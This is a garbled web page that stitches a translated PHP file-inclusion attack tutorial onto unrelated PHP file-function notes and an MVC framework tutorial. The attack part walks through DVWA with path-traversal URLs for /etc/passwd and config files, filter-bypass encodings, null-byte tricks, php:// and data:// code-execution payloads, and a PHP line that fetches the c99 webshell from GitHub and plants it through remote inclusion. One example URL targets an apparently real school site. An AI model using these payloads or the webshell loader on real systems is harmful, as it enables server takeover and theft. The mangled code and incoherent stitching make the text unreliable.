Fictional view php file. File - Reads the contents of a file and puts it into an array. Working with files on the server
Sometimes file injection is called inclusion, sometimes it is considered as part of PHP injection (code injection). The latter is not entirely true, since file injection vulnerabilities are not necessarily related to code execution.
The vulnerability can occur when using (in PHP) expressions such as:
- require_once,
- include_once,
- include,
- require
Each of them has small nuances, but what they have in common is that they include a file in the program and execute it. These expressions can cause problems if they pass user input and the program does not filter it out enough.
By the way, yes, these are expressions, not functions. It is not necessary to write like this:
Require("somefile.php");
A more preferable option is:
Require "somefile.php";
But this is a retreat that has nothing to do with vulnerability.
If files are included using the expressions require_once, include_once, include, require, then we can say that code injection also takes place at the same time. However, it is possible to include files without running code on the server. For example, a website changes its appearance based on the user's chosen theme. The name of the themes corresponds to the name of the HTML files that are read on the server. In this situation, if the request is formed in such a way as to read a file that is not intended for this (for example, a PHP file), then instead of executing commands, the PHP source code will be displayed.
The user can specify a remote or local file as the inclusion file. Based on this, two corresponding varieties are distinguished:
- local file injection
- remote file injection
The danger of remote inclusion is the execution of arbitrary code on a vulnerable server. This is usually used for backdoor infections.
The danger of local file injection is that the user can display the contents of files that he does not have rights to view (program source codes, system files with settings and passwords). Also, with local inclusion, it is possible to execute third-party code (for example, for backdoor infection), if a file with malicious code was previously uploaded to the server, or the log poisoning method was used, or some other methods.
Local inclusion of files is no less dangerous than the introduction of remote files.
Exploiting Local File EmbeddingYou can try your hand at this vulnerability in Damn Vulnerable Web Application (DVWA). I'm using Web Security Dojo, where DVWA is already installed.
Let's start at a low level (low DVWA Security).
Let's go to the File Inclusion page http://localhost/dvwa/vulnerabilities/fi/?page=include.php
- http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
- http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
- http://localhost/dvwa/vulnerabilities/fi/?page=file3.php
If a value similar to a file name (file1.php, file2.php) is passed as an argument to a variable, then we can assume that an include is being used. Since the file extension is .php, the file is most likely executed on the server (i.e. code injection is possible) and not just displayed for display.
DVWA has a page http://localhost/dvwa/about.php, it is located two levels up, let's try to view it this way: http://localhost/dvwa/vulnerabilities/fi/?page=../../ about.php
Yes, there is a local inclusion vulnerability. When entering, transitions to upper directories (../) are not filtered; the list of files for inclusion is not exhaustive (instead of the suggested file*.php, we chose about.php).
Sometimes included files are used, but the addresses may look, for example, like this: http://localhost/dvwa/vulnerabilities/fi/?page=file1. In this case, an extension can be added to the script and the script embeds a file whose name is finally formed in the script. Typically, a vulnerability in this form is difficult/impossible to exploit.
Often people like to give something like this as an example of exploiting local file inclusion:
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd
As we can see, it worked. But since web browsers ignore /r/n (newline characters), we need to open source the code to make the entries readable:
Unfortunately, there are no passwords in the /etc/passwd file for a long time.
From the server you can pull various settings files, SSL certificates, in principle, any file that is open for reading by all users or for which the web server has sufficient rights to read:
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf
As for shared hostings, sometimes it is possible to look into other people's folders (again, if user rights are configured incorrectly).
http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db
The task is complicated by the fact that we need to know the path to the file.
Operation of remote file injectionPHP is a very flexible and developer-friendly programming language. File embedding commands and some others perfectly recognize and correctly process not only local files, but also URLs...
Let's try to write the site URL https://site/ instead of the file name:
http://localhost/dvwa/vulnerabilities/fi/?page=https://site/
Look how interesting it turns out:
The following happened: the PHP interpreter received a command to include the file/site https://site/. He opened/downloaded the corresponding address and sent the resulting code to be executed as a PHP program. Since PHP only executes the code surrounded by the appropriate tags (in this case there was no code at all) and outputs everything else as is, the entire website page is output as is.
Of course, this vulnerability is interesting to us not because we can view other sites through one site.
I highlighted the word “text” for the reason that on the server under our control there should be a text file that should not be executed on our server. Our server only needs to show its contents.
To create a backdoor, you can use Weevely, PhpSploit, or you can take ready-made solutions. Let's use a ready-made one this time.
I will assign the $backdoor variable the source code of the backdoor, which I download from Github. Then I use the file_put_contents function to save the resulting source code into the c99unlimited.php file.
The code I have placed in a text file
$backdoor = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$backdoor"); echo "done!";
It is available at http://miloserdov.org/sec.txt
Now, using a remote include, we upload a backdoor to a vulnerable server.
http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt
Pay attention to the inscription done!, it is displayed by the script, i.e. everything probably worked out.
Since the script that includes the files is located in the http://localhost/dvwa/vulnerabilities/fi/ directory, and our new file with the backdoor should have been saved with the name c99unlimited.php, the full address of the backdoor on the vulnerable server should be: http: //localhost/dvwa/vulnerabilities/fi/c99unlimited.php
We check:
Great, now we have all the features a web server administrator could need... and those who have access to their server.
Bypass filtering when including files locallyLet's move on to the medium level of security (configurable in DVWA Security).
If we look at the source code (View Source button):
then we will see that the ../ characters are now filtered. This will prevent us from moving to a directory higher than the one in which the vulnerable script is running.
Those. nothing will work like this:
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf
Let's think about how filtering works in this case? Let’s say the word “bad” is filtered, then a line like
good bad good
after filtering it will look like this:
good good
And if you insert a line like this
bad bad xo
then after filtering (the “bad” will be removed) it will turn out
Badly
In ../ we insert ../ in the middle again, it turns out ..././
Let's try this address http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql/ my.cnf
It worked!
Another workaround could be to encode characters into hexadecimal encoding, an example of this line:
http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd
"../" can be replaced with "%2E%2E%2f".
Double hex encoding is also practiced, in which “../” is replaced by “%252E%252E%252F”
Local inclusion of files when adding an extension in a scriptIf the code including files looks like:
Those. If a .php or some other extension is added to any user input, this does not allow the request to be formed in such a way as to carry out an attack.
There are several techniques that are designed to discard the extension, but they can be considered obsolete since they work on PHP 5.3, and even then not all versions. However, web server administrators are clinically conservative and prefer not to touch anything if it works. Those. There is a chance of encountering a server with a very ancient version of PHP, and you should be aware of these techniques.
Using the null byte %00 (null byte)
A null byte is added at the end of the request to ignore the extension:
http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00
The second method is called a path pruning attack. The bottom line is that PHP truncates paths longer than 4096 bytes. In this case, PHP opens the file correctly, even if there are slashes and dots at the end of its name. If you pass as a parameter something like?param1=../../../../etc/passwd/./././././ (where ./ is repeated many thousands of times), then the end file along with the extension (which the script added, as a result of which the file name became includes/../../../../etc/passwd/./././././.php) will be discarded. And the file name will be includes/../../../../etc/passwd/./././././. And since PHP is not confused by trailing slashes and ./ at the end of the file, it simply ignores them, in total PHP will open the file along the path includes/../../../../etc/passwd.
Bypassing filtering for remote file injectionAs we already saw in the source code, the medium security level also filters out http:// and https://.
Now http://localhost/dvwa/vulnerabilities/fi/?. We will use exactly the same technique as to bypass filtering with local inclusion. Generated request:
http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://site/
And also note that it is not filtered, for example ftp, i.e. This option would work without any tricks at all:
http://localhost/dvwa/vulnerabilities/fi/?page=ftp://site/
Obtaining the source code of PHP scripts when including files from php://filterThis trick does not require remote file inclusion. A kind of meta wrapper php://filter will be used.
Let's say we want to see the source code of the file file1.php, then for our situation the request will be composed like this:
http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php
Pay attention to the meaningless string of letters and numbers - this is the source code of the file file1.php in base64 encoding. Since it is base64, binary files are also supported.
Let's decode the file:
Remote code execution with php://inputThis is not like file embedding and again does not require you to upload files.
To help, I will use the FireFox extension, you can also use it or any other program (for example, curl) that can transfer data using the POST method.
php://input has access to the raw body of the HTTP request, to understand what include("php://input") does, open the page
http://localhost/dvwa/vulnerabilities/fi/?page=php://input
And in the body of the request, send the correct PHP code (for example, using the POST method). This will allow you to perform any function allowed on the remote server!
Remote code execution with data://
Additionally, PHP supports the data:// URL scheme. You can place the code directly in the GET parameter! The following test does not require any special tools, just a regular browser to perform the attack.
http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,
Some web application firewalls may notice a suspicious string in a URL and block the malicious request. But there is a way to encrypt the string with at least base64 encoding:
http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==
Execute arbitrary commands from /proc/self/environ/proc/self/environ is the process variable storage. If the Apache process has sufficient rights to access it, then when opening a web page that contains an include with a similar URL,
www.website.com/view.php?page=../../../../../proc/self/environ
will output something like
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap , */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../. ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=.. %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx. 1xx.6x [email protected] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Pay attention to HTTP_USER_AGENT. Instead, you can substitute the correct PHP code, which will be executed on a remote server.
Etching and injection of logs when including files locallyUnfortunately, this method no longer works on recent versions of Apache.
Its essence lies in the fact that the attacker’s code is injected into the web server logs. This can be done by replacing User-Agent , or even simply passing it in a GET parameter.
Static injection of a remote fileExample of a static include:
You can use a static inclusion in very exotic situations. To inject malicious code, it is necessary to carry out a man-in-the-middle attack between two servers: one of which hosts the web application using the include, and the second hosts the file used for the inclusion.
PHP file_exists("test.txt")//Does the file exist? filesize("test.txt");//Find out the file size //The timestamp is returned: fileatime("test.txt");//Date of the last access to the file //date("d M Y", $atime); filemtime("test.txt");//Date of file modification //date("d M Y", $mtime); filectime("test.txt");//File creation date (Windows) //date("d M Y", $ctime); Files: operating modes PHP resource fopen (string filename, string mode) // resource - returns a pointer to the file in case of success, or FALSE in case of erroropen file read-only; |
open the file for reading and writing; |
open the file for writing only. If it exists, then the current contents of the file are destroyed. The current position is set to the beginning; |
open the file for reading and writing. If it exists, then the current contents of the file are destroyed. The current position is set to the beginning; |
open the file for writing. The current position is set to the end of the file; |
open the file for reading and writing. The current position is set to the end of the file; |
process the binary file. This flag is required when working with binary files on Windows. |
Initially, the Write will occur at the beginning of the file, by overwriting existing data, if any. Therefore, if you need to write something to the end of the file, you need to set the appropriate reading mode, for example, a+ .
Manipulating the cursor in PHP files PHP int fseek(int fi, int offset [, int whence]) //Setting the cursor // int fi - pointer to the file //offset - the number of characters to move by. //whence: //SEEK_SET - movement starts from the beginning of the file; //SEEK_CUR - movement starts from the current position; //SEEK_END - movement starts from the end of the file. fseek($fi, -10, SEEK_END); //Read the last 10 characters $s = fread($fi, 10); $pos = ftell($fi); // Find out the current position rewind($f) // reset the cursor bool feof($f) // end of the file Direct work with files (data) in PHP PHP array file(string filename) // Get the contents of the file in the form of an array // Another option for directly working with data file_get_contents(string filename) //Reading (we get the entire file in one line) //Writing to the file (initially overwritten) file_put_contents(string filename, mixed data[,int flag]); //FILE_APPEND // Write to the end of the file: file_put_contents("test.txt", "data", FILE_APPEND); //If you write an array, $array = array("I", "live"); file_put_contents("test.txt",$array); //then we get "Ilive" Managing files in php PHP copy(string source, string destination); // Copying the file rename(str oldname, str newname); // Rename the file unlink(string filename); // Deleting a file Uploading files to the PHP server // PHP.ini settings file_uploads (on|off) // allowing or disabling file uploads upload_tmp_dir // temporary folder for uploaded files. by default temporary folder upload_max_filesize (default = 2 Mb) // max. size of the uploaded file post_max_size // total size of the form sent (must be greater than upload_max_filesize) //Simple HTML upload We work with files on the PHP server //Receive data $tmp = $_FILES["userfile"]["tmp_name"]; $name = $_FILES["userfile"]["name"]; //Move the file move_uploaded_file($tmp, name); move_uploaded_file($tmp, "upload/".name); // redirect the file to the upload folder // relative to the current file // What's in the $_FILES array $_FILES["userfile"]["name"] // file name, for example, test.html $_FILES["userfile"][" tmp_name"] // temporary file name (path) $_FILES["userfile"]["size"] // file size $_FILES["userfile"]["type"] // file type $_FILES["userfile"] ["error"] // 0 - no errors, number - yes Many people start writing a project to work with a single task, not implying that it can grow into a multi-user management system, for example, content or, God forbid, production. And everything seems great and cool, everything works, until you begin to understand that the code that is written consists entirely of crutches and hard code. The code is mixed with layout, queries and crutches, sometimes even unreadable. A pressing problem arises: when adding new features, you have to tinker with this code for a very long time, remembering “what was written there?” and curse yourself in the past.You may have even heard about design patterns and even leafed through these wonderful books:
- E. Gamma, R. Helm, R. Johnson, J. Vlissides “Object-oriented design techniques. Design Patterns";
- M. Fowler "Architecture of Enterprise Software Applications."
This article will be useful primarily for beginners. In any case, I hope that in a couple of hours you will be able to get an idea of the implementation of the MVC pattern, which underlies all modern web frameworks, and also get “food” for further reflection on “how to do it.” At the end of the article there is a selection of useful links that will also help you understand what web frameworks consist of (besides MVC) and how they work.
Seasoned PHP programmers are unlikely to find anything new for themselves in this article, but their comments and comments on the main text would be very helpful! Because Without theory, practice is impossible, and without practice, theory is useless, then first there will be a little theory, and then we will move on to practice. If you are already familiar with the MVC concept, you can skip the theory section and go straight to the practice.
1. Theory The MVC pattern describes a simple way to structure an application, the purpose of which is to separate business logic from the user interface. As a result, the application is easier to scale, test, maintain and, of course, implement.Let's look at the conceptual diagram of the MVC pattern (in my opinion, this is the most successful diagram I have seen):
In MVC architecture, the model provides the data and business logic rules, the view is responsible for the user interface, and the controller provides interaction between the model and the view.
A typical flow of an MVC application can be described as follows:
This displays a view of, say, the main page of the site.
which, for example, contains model calls that read information from the database.
The model should not directly interact with the user. All variables related to the user request must be processed in the controller.
The model should not generate HTML or other display code that can change depending on the user's needs. Such code should be processed in views.
The same model, for example: the user authentication model can be used in both the user and administrative parts of the application. In this case, you can move the general code into a separate class and inherit from it, defining sub-application-specific methods in its descendants.
View - used to specify the external display of data received from the controller and model.
Views contain HTML markup and small inserts of PHP code to traverse, format, and display data.
Should not directly access the database. This is what models should do.
Should not work with data obtained from a user request. This task must be performed by the controller.
Can directly access properties and methods of a controller or models to obtain output-ready data.
Views are usually divided into a common template, containing markup common to all pages (for example, a header and footer) and parts of the template that are used to display data output from the model or display data entry forms.
The controller is the glue that connects models, views, and other components into a working application. The controller is responsible for processing user requests. The controller should not contain SQL queries. It is better to keep them in models. The controller should not contain HTML or other markup. It’s worth bringing it into view.
In a well-designed MVC application, controllers are usually very thin and contain only a few dozen lines of code. The same cannot be said about Stupid Fat Controllers (SFC) in CMS Joomla. The controller logic is quite typical and most of it is transferred to base classes.
Models, on the contrary, are very thick and contain most of the code related to data processing, because the data structure and business logic contained within it are usually quite specific to a particular application.
I hope you have already noticed that different sites can have completely different formats for constructing the address bar. Each format can display the architecture of a web application. Although this is not always the case, in most cases it is a clear fact.
Let's consider two options for the address bar, which display some text and a user profile.
First option:
Second option:
You can see the multi-touchpoint approach on the phpBB forums. The forum is viewed through the viewforum.php script, the topic is viewed through viewtopic.php, etc. The second approach, accessed through a single physical script file, can be seen in my favorite CMS MODX, where all calls go through index.php.
These two approaches are completely different. The first is typical for the Page Controller pattern, and the second approach is implemented by the Front Controller pattern. The page controller is good for sites with fairly simple logic. In turn, the request controller consolidates all request processing activities in one place, which gives it additional capabilities that can allow you to implement more complex tasks than are usually solved by the page controller. I will not go into details of the implementation of the page controller, but will only say that in the practical part, it will be the request controller (something similar) that will be developed.
1.2. URL Routing URL routing allows you to configure your application to accept requests from URLs that do not correspond to actual application files, and to use CNCs that are semantically meaningful to users and preferred for search engine optimization.For example, for a regular page displaying a contact form, the URL might look like this:
http://www.example.com/contacts.php?action=feedback
Approximate processing code in this case:
switch ($_GET ["action" ]) ( case "about" : require_once ("about.php" ); // "About Us" page break ; case "contacts" : require_once ("contacts.php" ); // page "Contacts" break ; case "feedback" : require_once ("feedback.php" ); // page "Feedback" break ; default : require_once ("page404.php" ); // page "404" break ; )
I think almost everyone has done this before.
Using a URL routing engine, you can configure your application to accept requests like this to display the same information:
http://www.example.com/contacts/feedback
Here contacts represents the controller, and feedback is the contacts controller method that displays the feedback form, etc. We will return to this issue in the practical part.
It's also worth knowing that many web frameworks' routers allow you to create custom URL routes (specify what each part of the URL means) and rules for processing them.
Now we have sufficient theoretical knowledge to move on to practice.
Looking ahead, I will say that the core classes Model, View and Controller will be stored in the core folder.
Their children will be stored in the controllers, models and views directories. The index.php file is the entry point into the application. The bootstrap.php file initiates the loading of the application, connecting all the necessary modules, etc.
We will go sequentially; Let's open the index.php file and fill it with the following code:
ini_set("display_errors" , 1 ); require_once "application/bootstrap.php" ;
There shouldn't be any questions here.
Next, let's immediately go to the bootstrap.php file:
require_once "core/model.php" ; require_once "core/view.php" ; require_once "core/controller.php" ; require_once "core/route.php" ; Route::start(); //start the router
The first three lines will include currently non-existent kernel files. The last lines include the file with the router class and launch it for execution by calling the static start method.
RewriteEngine On RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* index.php [L]
This code will redirect all page processing to index.php, which is what we need. Remember in the first part we talked about Front Controller?!
We will place the routing in a separate file route.php in the core directory. In this file we will describe the Route class, which will run controller methods, which in turn will generate the page view.
Contents of the route.php file
class Route ( static function start () ( // controller and default action $controller_name = "Main" ; $action_name = "index" ; $routes = explode("/" , $_SERVER ["REQUEST_URI" ]); // get the controller name if (!empty ($routes )) ( $controller_name = $routes ; ) // get the action name if (!empty ($routes )) ( $action_name = $routes ; ) // add prefixes $model_name = " Model_" .$controller_name ; $controller_name = "Controller_" .$controller_name ; $action_name = "action_" .$action_name ; // hook up the file with the model class (there may not be a model file) $model_file = strtolower($model_name ). ".php" ; $model_path = "application/models/" .$model_file ; if (file_exists($model_path )) ( include "application/models/" .$model_file ; ) // hook up the file with the controller class $controller_file = strtolower ($controller_name).php" ; $controller_path = "application/controllers/" .$controller_file ; if (file_exists($controller_path )) ( include "application/controllers/" .$controller_file ; ) else ( /* it would be correct to throw an exception here, but to simplify things, we’ll immediately redirect to the 404 page */ Route::ErrorPage404(); ) // create a controller $controller = new $controller_name ; $action = $action_name ; if (method_exists($controller , $action )) ( // call the controller action $controller ->$action (); ) else ( // here it would also be wiser to throw an exception Route::ErrorPage404(); ) ) function ErrorPage404 ( ) ( $host = "http://" .$_SERVER ["HTTP_HOST" ]."/" ; header("HTTP/1.1 404 Not Found" ); header("Status: 404 Not Found" ); header(" Location:" .$host ."404" ); ) )
I note that the class implements very simplified logic (despite the voluminous code) and may even have security problems. This was done intentionally, because... writing a full-fledged routing class deserves at least a separate article. Let's look at the main points...
The global array element $_SERVER["REQUEST_URI"] contains the full address to which the user contacted.
For example: example.ru/contacts/feedback
Using the function explode The address is divided into components. As a result, we get the name of the controller, for the example given, this is controller contacts and the name of the action, in our case - feedback.
Next, the model file (the model may be missing) and the controller file, if any, are connected and finally, an instance of the controller is created and the action is called, again, if it was described in the controller class.
Thus, when going to, for example, the address:
example.com/portfolio
or
example.com/portfolio/index
The router will perform the following actions:
example.com/ufo
then he will be redirected to the “404” page:
example.com/404
The same thing will happen if the user accesses an action that is not described in the controller.2.2. Let's return to the MVC implementation. Let's go to the core folder and add three more files to the route.php file: model.php, view.php and controller.php
Let me remind you that they will contain base classes, which we will now begin writing.
Contents of the model.php file
class Model ( public function get_data ( ) ( ) )
The model class contains a single empty data fetch method, which will be overridden in descendant classes. When we create descendant classes everything will become clearer.
Contents of the view.php file
class View ( //public $template_view; // here you can specify the default general view. function generate ($content_view , $template_view , $data = null) ( /* if(is_array($data)) ( // convert array elements into variables extract($data); ) */ include "application/views/" .$template_view ; ) )
It is not difficult to guess that the method generate intended to form a view. The following parameters are passed to it:
to display the content of a specific page.
In our case, the general template will contain header, menu, sidebar and footer, and the page content will be contained in a separate form. Again, this is done for simplicity.
Contents of the controller.php file
class Controller ( public $model ; public $view ; function __construct () ( $this ->view = new View(); ) ) )
Method action_index- this is the action called by default; we will override it when implementing descendant classes.
In the previous figure, the file template_view.php is highlighted separately - this is a template containing markup common to all pages. In the simplest case it could look like this:
home
To give the site a presentable look, we create a CSS template and integrate it into our site by changing the structure of the HTML markup and connecting CSS and JavaScript files:
At the end of the article, in the “Result” section, there is a link to a GitHub repository with a project in which steps have been taken to integrate a simple template.
class Controller_Main extends Controller ( function action_index () ( $this ->view->generate("main_view.php" , "template_view.php" ); ) )
In method generate an instance of the View class, the names of the files of the general template and the view with the page content are passed.
In addition to the index action, the controller can of course contain other actions.
We reviewed the general view file earlier. Consider the content file main_view.php:
Welcome! OLOLOSHA TEAM is a team of first-class specialists in the field of website development with many years of experience in collecting Mexican masks, bronze and stone statues from India and Ceylon, bas-reliefs and sculptures created by masters of Equatorial Africa five or six centuries ago...
This contains simple markup without any PHP calls.
To display the main page, you can use one of the following addresses:
- methods of libraries that implement data abstraction. For example, methods of the PEAR MDB2 library;
- ORM methods;
- methods for working with NoSQL;
- and etc. For simplicity, we will not use SQL queries or ORM statements here. Instead, we will emulate real data and immediately return an array of results.
Place the model file model_portfolio.php in the models folder. Here are its contents:
class Model_Portfolio extends Model ( public function get_data () ( return array (array ("Year" => "2012" , "Site" => "http://DunkelBeer.ru" , "Description" => "Promotional site of the dark Dunkel beer from the German manufacturer Löwenbraü produced in Russia by the brewing company "SUN InBev." ), array ("Year" => "2012" , "Site" => "http://ZopoMobile.ru" , "Description" => "Russian-language catalog of Chinese phones from Zopo based on Android OS and accessories for them."), // todo ) ) )
The model controller class is contained in the controller_portfolio.php file, here is its code:
class Controller_Portfolio extends Controller ( function __construct () ( $this ->model = new Model_Portfolio(); $this ->view = new View(); ) function action_index () ( $data = $this ->model->get_data( ); $this ->view->generate("portfolio_view.php" , "template_view.php" , $data ); ) )
To a variable data the array returned by the method is written get_data which we looked at earlier.
This variable is then passed as a method parameter generate, which also contains: the name of the file with the general template and the name of the file containing the view with the page content.
The view containing the page content is in the portfolio_view.php file.
Portfolio
Year | Project | Description |